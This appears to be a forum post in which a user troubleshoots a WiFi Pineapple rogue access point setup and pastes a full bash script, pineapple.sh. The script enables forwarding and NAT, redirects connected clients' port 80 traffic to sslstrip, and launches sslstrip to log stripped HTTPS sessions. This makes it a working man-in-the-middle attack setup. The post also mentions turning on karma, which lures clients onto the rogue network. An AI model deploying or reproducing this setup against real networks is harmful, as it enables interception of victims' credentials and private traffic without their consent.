Pinging ip of google: sudo nc 66.249.91.104 80
response: (UNKOWN) [66.249.91.104] 80 (www) : connection refused
Oh BTW I also ran netcat on the computer that the pineapple is connected to and netcat just hangs there then stops. Although the GET / HTTP/1.0 thing works fine.
I tried using Net Cat on my desktop and WHS on port 80 both from the client and the computer that the pineapple is connected to.
It said connection refused.
________________________________________________________________________________
________________
Okay so instead of running the pineapple with BT4 i switched to ubuntu but something similar is happening there too.
I get internet on the host machine (ubuntu) but no internet on the connected client (bt4) i pinged google.com on the client machine and it said "unknown host google.com" lastly on the host machine i cannot connect to the pineapple to turn on karma and all that stuff.
Man this is getting REALLY weird.
P.S. on the BT4 machine i connot get Sslstrip to run but on the ubuntu machine i can.
here is my edited pineapple.sh script:
#!/bin/bash
#
#
# pineapple.sh-0.6
#
#
# Enables "Internet Connection Sharing" on Linux
# Also runs sslstrip if python2.5 or python2.6 & pythons-twisted-web is installed and user requested
# Also sets up port forwarding for sslstrip if user requested
#
# For sslstrip all port 80 traffic is sent to the Default sslstrip port of 10000
#
# 10.110.0.0/24 # Is the IP address block sets up for the Pineapple
# 10.110.0.2 # Is what the Pineapple IP is set to
# 10.110.0.1 # Is what the Host Laptop's NIC acting as the Gateway for the Pineapple is set to
#
#
######################
#
# - - sslstrip-0.7 - -
#
# GNU GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
#
# Author = Moxie Marlinspike
#
# email = moxie@thoughtcrime.org
# url = http://www.thoughtcrime.org/software/sslstrip/
#
# Description = A MITM tool that implements Moxie Marlinspike's HTTPS stripping attacks.
#
# - - sslstrip-0.7 - -
#
######################
#
# - - pineapple.sh - -
#
# GNU GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
#
# Author = Alex Herrick
#
# email = alex.herrick@gmail.com
# url = http://alex.hrck.net/
#
#---------------------
#
# Author = Thomas Dwyer
#
# email = darden.tyler@gmail.com
# url = No Url at this time
#
# - - pineapple.sh - -
#
######################
#
# SET GLOBAL VARIABLES
#
# This sets the IP variables that are used in the script
# If you change these you also need to change the setting on the Pineapple
#
FON_IP_BLOCK="10.110.0.0/24"
NETMASK="255.255.255.0"
GW_NIC_IP="10.110.0.1"
FON_IP="10.110.0.2" # Not yet needed to be used in the script
# These will be used as the Default Network Interfaces
#
WAN_BKP="wlan0"
LAN_BKP="eth0"
# This is the port all Port 80 traffic form Pineapple is sent to for sslstrip
#
SSLSTRIP_PORT="10000"
# This is the default sslstrip install directory
#
SSLSTRIP_INSTALL_DIR="/usr/src"
# This is sets the default log directory for sslstrip
#
SSLSTRIP_LOG_BKP="$SSLSTRIP_INSTALL_DIR/sslstrip-0.7/sslstrip.log"
# This is the default pineapple.sh install directory
# If you change this make sure to change it in pineapple.sh
#
PINEAPPLE_INSTALL_DIR="/usr/bin" # Not yet used in this script
# Make sure script is running as Root
#
#
USER=`whoami`
if [ $USER == "root" ]; then
# Check if Python-2.6 is installed
#
# This looks for Python-2.6 installed in /usr/bin/python2.6
# Sets the Python version to python2.6 and puts it in variable $PY_VERSION
#
# This also sets the variable $PY to "Y" or "N" for use latter in the scrip
#
# If /usr/bin/python2.6 is not found $PY26 will be set to "N"
#
# ls /usr/bin/python2.6
# if [ $? != 0 ]; then
# Py26="N"
# echo "Python-2.6 is NOT installed"
# else
# Py="Y"
# Py_Version="python2.6"
# echo "Python-2.6 is installed"
# fi
# Check if Python-2.5 is installed if Python-2.6 is not
#
# This looks for Python-2.5 installed in /usr/bin/python2.5
# Sets the Python version to python2.5 and puts it in variable $PY_VERSION
#
# This also sets the variable $PY to "Y" or "N" for use latter in the scrip
#
# If /usr/bin/python2.5 is not found $SSLSTRIP & $PY25 will be set to "N"
# Otherwise they will be set to "Y"
#
# if [ Py26 == "N" ]; then
# ls /usr/bin/python2.5
# if [ $? != 0 ]; then
# $Py25="N"
# Py="N"
# Sslstrip="N"
# echo "You Must have Python-2.5 or newer installed to use sslstrip"
# echo "sslstrip Option Disabled"
# echo ""
# else
# Py="Y"
# Py_Version="python2.5"
# echo "Python-2.5 is installed"
# echo ""
# fi
# fi
# Check if Python Twisted is installed
#
# This Looks for one of the Twisted files "im.py" installed in . . .
# /uar/lib/$PY_VERSION/site-packages/twisted
#
# This only runs if python2.6 or python2.5 was found in /usr/bin
# By checking if $PY is set to "Y" or "N"
#
# If Twised is not found it will set $TWISTED & $SSLSTRIP to "N"
# Otherwise they well be set to "Y"
#
# if [ $Py == "Y" ]; then
# ls /usr/lib/$Py_Version/*/twisted
# if [ $? != 0 ]; then
# Twisted="N"
# Sslstrip="N"
# echo "Python Module Twisted is NOT installed"
# echo ""
# echo "Python Module Twisted MUST be installed to use sslstrip"
# echo "In ubuntu you can install this Module with"
# echo "apt-get install python-twisted-web"
# echo ""
# echo ""
# echo "sslstrip Option is Disabled"
# echo ""
# else
# Twisted="Y"
# Sslstrip="Y"
# echo "Python Module Twisted is installed"
# echo ""
# echo ""
# echo ""
# fi
# fi
Py="Y"
Twisted="Y"
Sslstrip="Y"
# This sets the Internet facing Network Interface
#
# Asks the user what NIC they would like to use and set it to $Wan
# If user leave blank $Wan will be set to Global Variable $WAN_BKP
#
# This also tests the user supplied NIC by running ifconfig $Wan
# If ifconfig doesn't exit with return code 0 the while loop will not end
#
X="N"
while [ $X == "N" ]; do
echo ""
echo ""
echo "Please enter Internet facing interface"
echo "If left blank Internet facing Network Interface will be set to wlan0"
echo ""
read -p "Please enter Internet facing interface, i.e. wlan0: " Wan
echo ""
if [ -z $Wan ]; then
Wan="$WAN_BKP"
echo "Internet facing Network Interface set to $Wan"
echo ""
X="Y"
else
ifconfig $Wan
if [ $? != 0 ]; then
echo "$Wan is not a valid Network Interface please try again or leave blank"
else
echo "Internet facing Network Interface set to $Wan"
echo ""
X="Y"
fi
fi
done
# This sets the Pineapple facing Network Interface
#
# Asks the user what NIC they would like to use and set it to $Lan
# If user leave blank $Lan will be set to Global Variable $LAN_BKP
#
# This also tests the user supplied NIC by running ifconfig $Lan
# If ifconfig dosen't exit with return code 0 the while loop will not end
#
X="N"
while [ $X == "N" ]; do
echo ""
echo ""
echo "Please enter Pineapple facing Network interface"
echo "If left blank Pineapple facing Network Interface will be set to eth0"
echo ""
read -p "Please enter Pineapple facing interface, i.e. eth0: " Lan
echo ""
if [ -z $Lan ]; then
Lan="$LAN_BKP"
echo "Pineapple facing Network Interface set to $Lan"
echo ""
X="Y"
else
ifconfig $Lan
if [ $? != 0 ]; then
echo "$Lan is not a valid Network Interface please try again or leave blank"
else
echo "Pineapple facing Network Interface set to $Lan"
echo ""
X="Y"
fi
fi
done
# Asks user if they want to set up iptables for sslstrip answer is sent to $SSL
#
Ssl="N"
if [ $Sslstrip == "Y" ]; then
read -p "Do you want to enable sslstrip? Y/N:" Ssl
# Check $SSL if it is Y, y, or yes - If it is
# Asks user where the log for sslstrip should be written answer is sent to $SSLSTRIP_LOG
#
# This also makes sure that the touch command can write a file in the specified path
# If it can not then the $X variable will remain "N" and not leave the loop
#
# If the user leaves the question blank then it will it to the variable $SSLSTRIP_LOG_BKP
# You can change $SSLSTRIP_LOG_BKP variable at the top of the script
#
if [ $Ssl == "Y" -o $Ssl == "y" -o $Ssl == "yes" ]; then
X="N"
while [ $X == "N" ]; do
echo ""
echo ""
echo "Where would you like the sslstrip log file to be located?"
echo "Enter the /Full/Path/And/LogName.log - If left blank $SSLSTRIP_LOG_BKP will be used"
echo ""
read -p "Enter: " Sslstrip_Log
echo ""
if [ -z $Sslstrip_Log ]; then
Sslstrip_Log=$SSLSTRIP_LOG_BKP
X="Y"
else
# This Varifies the /full/log/path/and/logname.log my User
#
# Would be better if script could verify
#
Y="N"
while [ $Y == "N" ]; do
echo "Are You sure you want sslstrip to write to log file $Sslstrip_Log?"
echo "If $Sslstrip_Log is not a valid path or"
echo "normal user dosen't have write permition in that directory sslstrip will fail"
echo "And Block Port 80 i.e. HTTP traffic. . ."
echo ""
read -p "So you sure ?: Y/N" Verify
echo ""
if [ $Verify != "Y" -o $Varify != "y" -o $Varify != "yes" ]; then
echo "Asking agin. . ."
else
echo "$Verify path User verified"
echo ""
Y="Y"
fi
done
fi
done
echo "sslstrip will write it's log file to: $Sslstrip_Log"
echo ""
else
echo "sslstrip is disabled"
echo ""
fi
fi
# This get's the GateWay IP address and sets it to the varable $Gw
#
Gw=`netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'`
# Sets $Lan's IP address to 10.110.0.1 and netmask 255.255.255.0
#
ifconfig $Lan $GW_NIC_IP netmask $NETMASK
echo "$Lan is given the IP address of $GW_NIC_IP & netmask $NETMASK"
echo ""
# Enables IPv4 Forwarding it alredy enabled it dose nothing
#
IPFWD=`cat /proc/sys/net/ipv4/ip_forward`
if [ $IPFWD -eq 1 ]; then
echo "IP forwarding enabled!"
echo ""
else
echo '1' > /proc/sys/net/ipv4/ip_forward
echo "IP forwarding enabled!"
echo ""
fi
# This next IF statement block sets all the iptables rules
# And the default route
#
iptables --version > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Clear all iptabes Chains and Rules
#
iptables -X
iptables -F
echo "All iptables chains and rules cleared. . . Setting new iptables rules"
echo ""
# This checks if the user entered Y or y to the question asking if they wanted to use sslstrip
# If they did it will set an iptables rule to forward all Port 80 traffic from $Lan to
# The default sslstrip listening Port 10000
#
if [ $Ssl == "y" -o $Ssl == "Y" -o $Ssl == "yes" ]; then
iptables -t nat -A PREROUTING -i $Lan -p tcp --destination-port 80 -j REDIRECT --to-ports $SSLSTRIP_PORT
fi
# This sets up the IPv4 forwarding form the $Wan to $Lan
#
iptables -A FORWARD -i $Wan -o $Lan -s $FON_IP_BLOCK -m state --state NEW -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A POSTROUTING -t nat -j MASQUERADE
echo "iptables configured..."
echo ""
# Removes the Default Route
#
route del default
echo "Default route removed. . ."
# This sets up the Default Route
#
#
# This is an alternant way of getting the Gatway IP address
#Gw=`ifconfig $Wan | grep "inet addr:"| grep -v "127.0.0.1" | cut -d: -f2 | awk '{ print $1}' | cut -d. -f1,2,3`
#Gw=`echo $GW.1`
route add default gw $Gw $Wan
echo "Default route set to $Gw through $Wan"
echo ""
# This command runs with UID-1000
#
# This spawns a new xterm and runs sslstrip in it
# And sslstrip will wright it's log file to what the $Sslstrip_Log variable was set to
#
#
if [ $Ssl == "Y" -o $Ssl == "y" -o $Ssl == "yes" ]; then
#sudo -u \#1000 xterm -e python $SSLSTRIP_INSTALL_DIR/sslstrip-0.7/sslstrip.py -w $Sslstrip_Log &
sudo -u \#1000 xterm -e python $SSLSTRIP_INSTALL_DIR/sslstrip-0.7/sslstrip.py -w $Sslstrip_Log &
fi
echo "Plug in the Pineapple"
echo ""
else
echo "Please run as root or install iptables..."
fi
else
echo "Please run as root."
fi
# exit clean
#
exit